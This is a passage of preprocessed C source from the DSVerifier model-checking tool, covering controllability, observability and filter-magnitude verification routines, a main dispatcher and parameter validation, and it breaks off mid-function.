# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
((void) sizeof ((
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ; else __assert_fail (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
"output_double <= error_limit"
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h", 140, __extension__ __PRETTY_FUNCTION__); }))
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
;
return 0;
}
# 45 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 1
# 14 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
extern digital_system_state_space _controller;
int verify_controllability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t controllabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double controllabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
A_fpx[i][j] = 0.0;
B_fpx[i][j] = 0.0;
controllabilityMatrix[i][j] = 0.0;
backup[i][j] = 0.0;
backupSecond[i][j] = 0.0;
controllabilityMatrix_double[i][j] = 0.0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
fxp_t mimo_controllabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_fxp);
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(mimo_controllabilityMatrix_fxp[i][j]);
}
}
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 91, __extension__ __PRETTY_FUNCTION__); }))
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
fxp_exp_matrix(nStates,nStates,A_fpx,j,backup);
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(controllabilityMatrix[i][j]);
}
}
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 113, __extension__ __PRETTY_FUNCTION__); }))
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
int verify_controllability_double(void){
int i;
int j;
double controllabilityMatrix[4][4];
double backup[4][4];
double backupSecond[4][4];
double controllabilityMatrix_double[4][4];
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
double_exp_matrix(nStates,nStates,_controller.A,l,backup);
l++;
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
double mimo_controllabilityMatrix_double[4][4];
double_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_double);
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(mimo_controllabilityMatrix_double,nStates) != 0"
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 154, __extension__ __PRETTY_FUNCTION__); }))
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
double_exp_matrix(nStates,nStates,_controller.A,j,backup);
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix,nStates) != 0"
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 163, __extension__ __PRETTY_FUNCTION__); }))
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
# 46 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
extern digital_system_state_space _controller;
int verify_observability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t observabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double observabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix[i][j]= 0;
A_fpx[i][j]=0;
C_fpx[i][j]= 0;
backup[i][j]= 0;
backupSecond[i][j]= 0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
if(nOutputs > 1){
int l;
j = 0;
for(l=0; l<nStates;){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(int k = 0; k < nOutputs; k++){
for(i = 0; i<nStates;i++){
observabilityMatrix[j][i]= backupSecond[k][i];
}
j++;
}
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nOutputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(observabilityMatrix,backup,(nStates*nOutputs),nStates);
# 99 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
fxp_t mimo_observabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nOutputs),(nStates*nOutputs),nStates,backup,observabilityMatrix,mimo_observabilityMatrix_fxp);
# 112 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(mimo_observabilityMatrix_fxp[i][j]);
}
}
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 119, __extension__ __PRETTY_FUNCTION__); }))
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}else{
for(i=0; i<nStates;i++){
fxp_exp_matrix(nStates,nStates,A_fpx,i,backup);
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(j = 0; j<nStates;j++){
observabilityMatrix[i][j]= backupSecond[0][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(observabilityMatrix[i][j]);
}
}
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 134, __extension__ __PRETTY_FUNCTION__); }))
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}
return 0;
}
# 47 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
extern filter_parameters filter;
extern implementation impl;
extern digital_system ds;
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
void resp_mag(double* num, int lnum, double* den, int lden, double* res, int N) {
double w;
int m, i;
double out_numRe[N + 1];
double out_numIm[N + 1];
double out_denRe[N + 1];
double out_denIm[N + 1];
double old_out_Re;
double zero_test;
for (w = 0, i = 0; w <= 3.14159265358979323846; w += 3.14159265358979323846 / N, ++i) {
out_numRe[i] = num[0];
out_numIm[i] = 0;
for (m = 1; m < lnum; ++m) {
old_out_Re = out_numRe[i];
out_numRe[i] = cosTyl(w, 6) * out_numRe[i] - sinTyl(w, 6) * out_numIm[i] + num[m];
out_numIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_numIm[i];
}
out_denRe[i] = den[0];
out_denIm[i] = 0;
for (m = 1; m < lden; ++m) {
old_out_Re = out_denRe[i];
out_denRe[i] = cosTyl(w, 6) * out_denRe[i] - sinTyl(w, 6) * out_denIm[i] + den[m];
out_denIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_denIm[i];
}
res[i] = sqrt3(out_numRe[i] * out_numRe[i] + out_numIm[i] * out_numIm[i]);
zero_test = sqrt3(out_denRe[i] * out_denRe[i] + out_denIm[i] * out_denIm[i]);
__DSVERIFIER_assume(zero_test != 0);
res[i] = res[i] / zero_test;
}
}
int verify_magnitude(void) {
int freq_response_samples = 100;
double w;
double w_incr = 1.0 / freq_response_samples;
double res[freq_response_samples+1];
int i,j;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
resp_mag(ds.b, ds.b_size, ds.a, ds.a_size, res, freq_response_samples);
if (filter.type == 1) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wp) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w >= filter.wr) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
}
}
} else if (filter.type == 2) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wr) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w > filter.wp) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
}
}
} else {
__DSVERIFIER_assert(0);
}
return 0;
}
# 48 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
extern digital_system ds;
extern digital_system plant;
digital_system plant_cbmc;
extern digital_system controller;
extern implementation impl;
extern hardware hw;
extern digital_system_state_space _controller;
extern filter_parameters filter;
unsigned int nondet_uint();
extern void initials();
void validation();
void call_verification_task(void * verification_task);
void call_closedloop_verification_task(void * closedloop_verification_task);
float nondet_float();
double nondet_double();
int main(){
initialization();
validation();
if (1 == 0)
rounding_mode = 0;
else if (1 == 1)
rounding_mode = 1;
else if (1 == 2)
rounding_mode = 2;
if (3 == 3)
{
call_verification_task(&verify_overflow);
}
else if (3 == 2)
{
call_verification_task(&verify_limit_cycle);
}
else if (3 == 6)
{
call_verification_task(&verify_error);
}
else if (3 == 1)
{
call_verification_task(&verify_zero_input_limit_cycle);
}
else if (3 == 4)
{
call_verification_task(&verify_timing_msp_430);
}
else if (3 == 5)
{
call_verification_task(&verify_generic_timing);
}
else if (3 == 7)
{
call_verification_task(&verify_stability);
}
else if (3 == 8)
{
call_verification_task(&verify_minimum_phase);
}
else if (3 == 9)
{
call_closedloop_verification_task(&verify_stability_closedloop_using_dslib);
}
else if (3 == 10)
{
call_closedloop_verification_task(&verify_limit_cycle_closed_loop);
}
else if (3 == 11)
{
call_closedloop_verification_task(&verify_error_closedloop);
}
else if (3 == 12)
{
verify_error_state_space();
}
else if (3 == 16)
{
verify_safety_state_space();
}
else if (3 == 13)
{
verify_controllability();
}
else if (3 == 14)
{
verify_observability();
}
else if (3 == 15)
{
verify_limit_cycle_state_space();
}
else if (3 == 18)
{
call_verification_task(&verify_magnitude);
}
return 0;
}
void validation()
{
if (3 == 12 || 3 == 16 ||
3 == 15 || 3 == 13 ||
3 == 14)
{
if (0 == 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a K_SIZE to use this property in DSVerifier (use: -DK_SIZE=VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
exit(1);
}
initials();
return;
}
if (((3 != 9) && (3 != 10) &&
(3 != 11)) && (ds.a_size == 0 || ds.b_size == 0))
{
printf("\n\n****************************************************************************\n");
printf("* set (ds and impl) parameters to check with DSVerifier *\n");
printf("****************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((3 == 9) || (3 == 10) ||
(3 == 11))
{
if (controller.a_size == 0 || plant.b_size == 0 || impl.int_bits == 0 )
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller, plant, and impl) parameters to check CLOSED LOOP with DSVerifier *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller and impl) parameters so that they do not overflow *\n");
printf("*****************************************************************************************************\n");
unsigned j;
for (j = 0; j < controller.a_size; ++j)
{
const double value=controller.a[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
for (j = 0; j < controller.b_size; ++j)
{
const double value=controller.b[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
}
if (controller.b_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.b_size; ++j)
{
if (controller.b[j]==0)
++zeros;
}
if (zeros == controller.b_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller numerator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (controller.a_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.a_size; ++j)
{
if (controller.a[j]==0)
++zeros;
}
if (zeros == controller.a_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller denominator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (0 == 0)
{
printf("\n\n***************************************************************************************************************\n");
printf("* set a connection mode to check CLOSED LOOP with DSVerifier (use: --connection-mode TYPE) *\n");
printf("***************************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (3 == 0)
{
printf("\n\n***************************************************************************************\n");
printf("* set the property to check with DSVerifier (use: --property NAME) *\n");
printf("***************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((3 == 3) || (3 == 2) || (3 == 1) ||
(3 == 10) || (3 == 11) ||
(3 == 4 || 3 == 5) || 3 == 6)
{
if ((5 == 0) && !(0 == 1))
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE to use this property in DSVerifier (use: --x-size VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else if (0 == 1)
{
X_SIZE_VALUE = nondet_uint();
__DSVERIFIER_assume( X_SIZE_VALUE > (2 * ds.a_size));
}
else if (5 < 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE > 0 *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
X_SIZE_VALUE = 5;
}
}
if ((3 == 0) && (3 != 9) && (3 != 18))
{
printf("\n\n*********************************************************************************************\n");
printf("* set the realization to check with DSVerifier (use: --realization NAME) *\n");
printf("*********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if (3 == 6 || 3 == 11)
{
if (impl.max_error == 0)
{
printf("\n\n***********************************************************************\n");
printf("* provide the maximum expected error (use: impl.max_error) *\n");
printf("***********************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (3 == 4 || 3 == 5)
{
if (3 == 5 || 3 == 4)
{
if (hw.clock == 0l)
{
printf("\n\n***************************\n");
printf("* Clock could not be zero *\n");
printf("***************************\n");
__DSVERIFIER_assert(0);
}
hw.cycle = ((double) 1.0 / hw.clock);
if (hw.cycle < 0)
{
printf("\n\n*********************************************\n");
printf("* The cycle time could not be representable *\n");
printf("*********************************************\n");
__DSVERIFIER_assert(0);
}
if (ds.sample_time == 0)
{
printf("\n\n*****************************************************************************\n");
printf("* provide the sample time of the digital system (ds.sample_time) *\n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
}
if (3 == 18)
{
if (!((filter.Ap > 0) && (filter.Ac >0) && (filter.Ar >0)))
{
printf("\n\n*****************************************************************************\n");
printf("* set values bigger than 0 for Ap, Ac and Ar* \n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if ((3 == 7) || (3 == 8) || (3 == 9) ||
(3 == 10) || (3 == 11) || (3 == 12))
{
printf("\n\n******************************************\n");
printf("* Temporarily the cascade modes are disabled *\n");
printf("**********************************************\n");
__DSVERIFIER_assert(0);
}
}
void call_verification_task(void * verification_task)
{
int i = 0;
_Bool base_case_executed = 0;
if (0 == 2)
{
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ds.b_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ds.a_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
else
{
int i=0;
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ((ds.b[i] * ds.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ((ds.a[i] * ds.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
((void(*)())verification_task)();
}
void call_closedloop_verification_task(void * closedloop_verification_task)
{
_Bool base_case_executed = 0;
int i=0;
for(i=0; i<plant.b_size; i++)
{
if (plant.b_uncertainty[i] > 0)
{
double factor = ((plant.b[i] * plant.b_uncertainty[i]) / 100);
